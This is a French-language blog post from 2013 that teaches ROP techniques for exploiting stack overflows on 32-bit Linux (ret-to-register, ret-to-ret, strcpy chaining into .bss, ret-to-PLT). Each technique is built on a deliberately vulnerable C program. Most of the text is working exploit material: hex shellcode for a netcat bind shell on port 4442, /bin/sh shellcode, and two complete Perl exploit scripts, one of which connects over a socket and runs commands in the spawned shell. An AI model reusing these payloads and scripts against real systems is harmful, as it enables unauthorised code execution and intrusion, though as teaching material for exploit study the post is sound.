title | date | tags | author | layout |
---|---|---|---|---|
Roping tricks |
2013-08-26 |
overflow,rop |
Tosh |
post |
Voici un nouvel article où il sera question de ROP, et où je détaillerais quelques techniques particulières pouvant être utiles lors d'une exploitation de type stack overflow, format string et compagnie.
Pour comprendre tout ce qu'il sera dit, il est conseillé d'avoir des bonnes bases dans l'exploitation de binaires sous Linux, de savoir lire l'assembleur x86 et de comprendre comment le ROP fonctionne.
Pour chaque technique utilisée, je préciserais dans quels cas celle-ci est utile.
Ready to poWn ?! Gooo !
##0x00 Ret to register
Utilité : Cette technique peut être utile dans le cas où l'ASLR est en place, mais où N^X n'est pas activé.
Principe : Si l'adresse de notre payload est contenue dans un registre au moment du détournement du flux d\u2019exécution, il suffit de retourner sur un gadget du style call REG/jmp *REG pour que notre payload soit exécuté.
Voici l'exemple que je vais utiliser pour illustrer la technique :
#include <string.h>
#include <stdio.h>
char* foo(const char *b) {
char buff[256];
return strcpy(buff, b);
}
int main(int argc, char **argv) {
printf("%p\n", foo(argv[1]));
return 0;
}
Testons avec GDB, pour voir ce qu'il se passe :
gdb$ r `perl -e 'print "ABCD" . "A"x268;'`
Starting program: /home/tosh/Downloads/a.out `perl -e 'print "ABCD" . "A"x268;'`
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0xBFFFF8F0 EBX: 0xB7FB9000 ECX: 0xBFFFFD30 EDX: 0xBFFFF9FA o d I t s z a p c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x41414141 ESP: 0xBFFFFA00 EIP: 0x41414141
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ x/s $eax
0xbffff8f0: "ABCD", 'A' ...
gdb$
On voit qu'au moment du plantage, eax contient l'adresse de notre buffer. Si on trouve un gadget permettant de jumper sur eax, on pourra détourner le flux d'exécution avec un shellcode de notre cru.
$ ropc -f ./a.out -g -F | grep "call\|jmp" | grep eax
0x08048396 -> call eax ; leave ; ret ;
Voilà le gadget qu'il nous faut ! On a plus qu'à mettre un shellcode (ici un netcat) au début du buffer et de jumper dessus.
Notre payload ressemblera à :
[ SHELLCODE | PADDING | call eax (saved EIP) ]
$ ./a.out `perl -e 'print "\x31\xd2\x52\x68\x2f\x2f\x6e\x63\x68 \
\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72 \
\x89\xe3\x52\x68\x2d\x6c\x76\x70\x89 \
\xe0\x52\x68\x34\x34\x34\x32\x89\xe1 \
\x52\x68\x2d\x76\x76\x65\x89\xe5\x52 \
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \
\x6e\x89\xe7\x52\x57\x55\x51\x50\x53 \
\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" .
"A"x197 . "\x96\x83\x04\x08";'`
Listening on any address 4442 (saris)
##0x01 Ret to Ret
Utilité : Cette technique peut être utile dans le cas où l'ASLR et/ou PIE est en place, mais où N^X n'est pas activé. Principe : il s'agit de dépiler les valeurs situées sur la pile, jusqu'à ce qu'on ai une adresse pouvant être utile pour poursuivre l'exploitation (fonction, gadget, payload...).
Voici l'exemple utilisé pour cette technique :
#include <string.h>
void foo(const char *b, size_t s) {
char buff[256];
memcpy(buff, b, s);
}
int main(int argc, char **argv) {
foo(argv[1], atoi(argv[2]));
return 0;
}
Jouons la vulnérabilité et examinons la stack au moment du plantage :
gdb$ r `perl -e 'print "ABCD"."A"x268;'` 400
Starting program: /home/tosh/Downloads/a.out `perl -e 'print "ABCD"."A"x268;'` 400
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0xBFFFF8F0 EBX: 0xB7FB9000 ECX: 0x00000000 EDX: 0x00000000 o d I t s z a p c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x41414141 ESP: 0xBFFFFA00 EIP: 0x41414141
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ x/50xw $esp
0xbffffa00: 0x30303400 0x47445800 0x4e54565f 0x00313d52
0xbffffa10: 0x5f485353 0x4e454741 0x49505f54 0x31333d44
0xbffffa20: 0x44580037 0x45535f47 0x4f495353 0x44495f4e
0xbffffa30: 0x4400313d 0x544b5345 0x535f504f 0x54524154
0xbffffa40: 0x495f5055 0x77613d44 0x6d6f7365 0x74612f65
0xbffffa50: 0x2f6d7265 0x2d333433 0x61722d30 0x3030646e
0xbffffa60: 0x49545f6d 0x3933454d 0x00393137 0x4c454853
0xbffffa70: 0x622f3d4c 0x622f6e69 0x00687361 0x4d524554
0xbffffa80: 0x00000003 0x08048330 0x00000000 0x08048351
0xbffffa90: 0x08048457 0x00000003 0xbffffab4 0x08048490
0xbffffaa0: 0x08048500 0xb7fed040 0xbffffaac 0x0000001c
0xbffffab0: 0x00000003 0xbffffc07 0xbffffc22 0xbffffd33
0xbffffac0: 0x00000000 0xbffffd37
gdb$ x/s 0xbffffc22
0xbffffc22: "ABCD", 'A' ...
gdb$
On voit qu'à l'adresse esp+0xb8, on a l'adresse de notre buffer sur la stack. En dépilant 47 valeurs, on pourra alors jumper sur notre payload. Pour dépiler une valeur, rien de plus simple, il faut sauter sur une instruction ret. En chaînant ces instructions, on va pouvoir dépiler les valeurs situées en haut de la pile.
Récupérons l'adresse d'une instruction ret :
$ ropc -f ./a.out -g -F -d 1
0x080482be -> ret ;
Nous avons plus qu'à exploiter la vulnérabilité, notre payload ressemblera à :
[ SHELLCODE | PADDING | RET (saved EIP) | 46xRET ]
Testons :
./a.out `perl -e 'print "\x31\xd2\x52\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69 \
\x6e\x68\x2f\x75\x73\x72\x89\xe3\x52\x68\x2d\x6c \
\x76\x70\x89\xe0\x52\x68\x34\x34\x34\x32\x89\xe1 \
\x52\x68\x2d\x76\x76\x65\x89\xe5\x52\x68\x2f\x2f \
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe7\x52\x57\x55 \
\x51\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" .
"A"x197 . "\xbe\x82\x04\x08"x47 . " " . (47*4+268);'`
Listening on any address 4442 (saris)
On voit que ça fonctionne à merveille !
Utilité : Cette technique est utilisée pour copier un payload (shellcode, fake stack frame) dans une zone non soumise à l'ASLR par exemple. Elle peut également permettre de bypass des filtres de caractères. (On peut par exemple avoir un \x00 dans notre payload) Principe : Il s'agit de chaîner les appels d'une fonction de recopie (strcpy...), en copiant certains octets du programmes non soumis à l'ASLR (segment DATA/CODE), vers une zone non randomisé.
Pour cet exemple, je vais utiliser ce programme vulnérable :
#include <string.h>
#include <stdio.h>
char buffer[256];
void foo(const char *b) {
char buff[256];
strcpy(buff, b);
}
int main(int argc, char **argv) {
if(atoi(argv[2]) == 0xcd)
foo(argv[1]);
return 0;
}
Notre objectif va être de copier un shellcode grâce à la fonction strcpy, vers une zone non soumise à l'ASLR et writable.
Cherchons l'adresse de strcpy@PLT :
$ objdump -d ./a.out | grep "<strcpy@plt>:"
080482f0 <strcpy@plt>:
On peut donc appeler strcpy en jumpant à l'adresse 0x080482f0.
Cherchons maintenant une zone mémoire +W, non soumise à l'ASLR :
$ readelf -S ./a.out | grep .bss
[25] .bss NOBITS 08049740 000740 000120 00 WA 0 0 32
Parfait, on a une zone de 0x120 bytes writable à l'adresse 0x08049740.
Utilisons RopC pour rechercher notre shellcode dans le binaire :
$ ropc -f ./a.out -s "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73" \
\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
0x08048330 -> "\x31"
0x08048398 -> "\xc9"
0x080484e6 -> "\xf7"
0x08048334 -> "\xe1"
0x0804832c -> "\xb0"
0x080481fc -> "\x0b"
0x08048114 -> "\x51"
0x080482f6 -> "\x68"
0x08048134 -> "\x2f"
0x08048134 -> "\x2f"
0x08048142 -> "\x73"
0x080482f6 -> "\x68"
0x080482f6 -> "\x68"
0x08048134 -> "\x2f"
0x08048137 -> "\x62"
0x0804813d -> "\x69\x6e"
0x08048333 -> "\x89"
0x080481aa -> "\xe3"
0x0804846a -> "\xcd"
0x0804803d -> "\x80"
20 strings found.
Parfait ! Tous les opcodes de notre shellcode sont présents en mémoire dans le binaire !
Maintenant, pour chaîner les appels à strcpy afin de copier notre shellcode opcodes par opcodes, nous avons besoin d'un gadget pour "dépiler" les arguments de l'appel précédent. Puisque strcpy a 2 arguments, il nous faut un gadget du type "pop; pop; ret" afin de pouvoir continuer l'exécution.
$ ropc -f ./a.out -g -F | grep pop
0x080484ee -> pop edi ; pop ebp ; ret ;
Un appel à strcpy ressemblera à ça :
[ strcpy@PLT ]
[ pop2; ret ]
[Adresse .bss + offset]
[Adresse opcode]
Nous avons tout ce qu'il nous faut pour réaliser notre exploit. Notre payload ressemblera à :
[ PADDING ]
[ strcpy@plt ] <--- (saved-eip)
[ pop2; ret ]
[ Adresse .bss ]
[ Adresse opcode \x31 ]
[ strcpy@plt ]
[ pop2; ret ]
[ Adresse .bss + 1 ]
[ Adresse opcode \xc9 ]
[ ... ]
[ Adresse .bss ]
L'exploit (en Perl) :
#!/usr/bin/perl
use strict;
use warnings;
my $payload = "A"x268; # PADDING
my $bss = 0x08049740;
my $strcpy_plt = 0x080482f0;
my $pop2_ret = 0x080484ee;
# \x31
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss);
$payload .= pack('L', 0x08048330);
# \xc9
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+1);
$payload .= pack('L', 0x08048398);
# \xf7
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+2);
$payload .= pack('L', 0x080484e6);
# \xe1
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+3);
$payload .= pack('L', 0x08048334);
# \xb0
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+4);
$payload .= pack('L', 0x0804832c);
# \x0b
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+5);
$payload .= pack('L', 0x080481fc);
# \x51
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+6);
$payload .= pack('L', 0x08048114);
# \x68
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+7);
$payload .= pack('L', 0x080482f6);
# \x2f
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+8);
$payload .= pack('L', 0x08048134);
# \x2f
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+9);
$payload .= pack('L', 0x08048134);
# \x73
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+10);
$payload .= pack('L', 0x08048142);
# \x68
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+11);
$payload .= pack('L', 0x080482f6);
# \x68
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+12);
$payload .= pack('L', 0x080482f6);
# \x2f
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+13);
$payload .= pack('L', 0x08048134);
# \x62
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+14);
$payload .= pack('L', 0x08048137);
# \x69\x6e
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+15);
$payload .= pack('L', 0x0804813d);
# \x89
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+17);
$payload .= pack('L', 0x08048333);
# \xe3
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+18);
$payload .= pack('L', 0x080481aa);
# \xcd
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+19);
$payload .= pack('L', 0x0804846a);
# \x80
$payload .= pack('L', $strcpy_plt);
$payload .= pack('L', $pop2_ret);
$payload .= pack('L', $bss+20);
$payload .= pack('L', 0x0804803d);
# Jump on your shellcode !
$payload .= pack('L', $bss);
print $payload;
Testons :
$ ./a.out "`perl sploit.pl`" 205
bash-4.2$
Utilité : Cette technique est très utile lorsqu'on est limité par la taille de notre payload. Elle peut également être utilisée pour copier ce que l'on souhaites en mémoire, en étant plus gêné par l'ASLR. Cette technique simplifie beaucoup de choses ! Principe : Il s'agit de retourner sur une fonction tel que read/recv, en réutilisant le descripteur de fichier du programme, afin de pouvoir envoyer des données (payload) vers la zone mémoire de notre choix.
Voici le programme utilisé pour illustrer la technique. Celui-ci tourne avec : nc -lp 4444 -e ./a.out :
#include <unistd.h>
char buffer[256];
void foo(int size) {
char buff[256];
read(STDIN_FILENO, buff, size);
}
int main(int argc, char **argv) {
int size;
read(STDIN_FILENO, &size, sizeof(int));
foo(size);
return 0;
}
L'objectif est d'écraser EIP avec l'adresse de read@plt. On aura alors plus qu'à envoyer notre shellcode pour jumper dessus.
Récupérons l'adresse d'une zone +W :
$ readelf -S ./a.out | grep ".bss"
[25] .bss NOBITS 08049720 00070c 000120 00 WA 0 0 32
Récupérons l'adresse de read@plt :
$ objdump -d ./a.out | grep "<read@plt>:"
080482d0 <read@plt>:
On a également besoin d'un gadget pour dépiler les arguments de read :
$ ropc -f ./a.out -g -F | grep pop
0x080484bd -> pop esi ; pop edi ; pop ebp ; ret ;
On a tout ce qu'il faut pour réaliser notre exploit ! Notre payload ressemblera à :
[ PADDING ]
[ read@plt ] <--- (saved-eip)
[ pop3; ret ]
[ STDIN ]
[ Address de .bss ]
[ shellcode len ]
[ Adresse .bss ]
Voici l'exploit commenté (en Perl of course) :
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;
my $sock = IO::Socket::INET->new(PeerAddr => 'localhost',
PeerPort => 4444,
Proto => 'tcp');
die("Can't connect : $!\n") if(!$sock);
my $buff;
my $shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68" .
"\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
my $payload;
my $bss = 0x08049720;
my $read_plt = 0x080482d0;
my $pop3_ret = 0x080484bd;
# Buffer len
$payload .= pack('L', 292);
# Padding
$payload .= "A"x268;
# Read@plt function
$payload .= pack('L', $read_plt);
$payload .= pack('L', $pop3_ret);
$payload .= pack('L', 0);
$payload .= pack('L', $bss);
$payload .= pack('L', length $shellcode);
$payload .= pack('L', $bss);
# Send payload
print $sock $payload;
sleep(1);
# The payload is executed, now you can send your shellcode !
print $sock $shellcode;
sleep(1);
# The shell is now spawned : you can send commands !
print $sock "id\nexit\n";
while(($buff = <$sock>)) {
print $buff;
}
Lançons-le :
$ perl sploit.pl
uid=1000(tosh) gid=100(users) groups=100(users)
Bingo !
Le ret to PLT clos la première partie de cet article.
Il est à noter que toutes ces techniques peuvent bien sûr être combinées suivant les besoin et suivant les cas. N'oubliez pas que chaque exploitation de vulnérabilité est unique en son genre, le plus important est d'être inventif !
Une deuxième partie de cet article devrait voir le jour, avec des nouvelles techniques de ROP pour être encore plus efficace dans l'exploitation de failles applicatives !
J'espère que ça vous à plût, n'hésitez pas à envoyer votre feedback !
Happy Hacking !
-Tosh-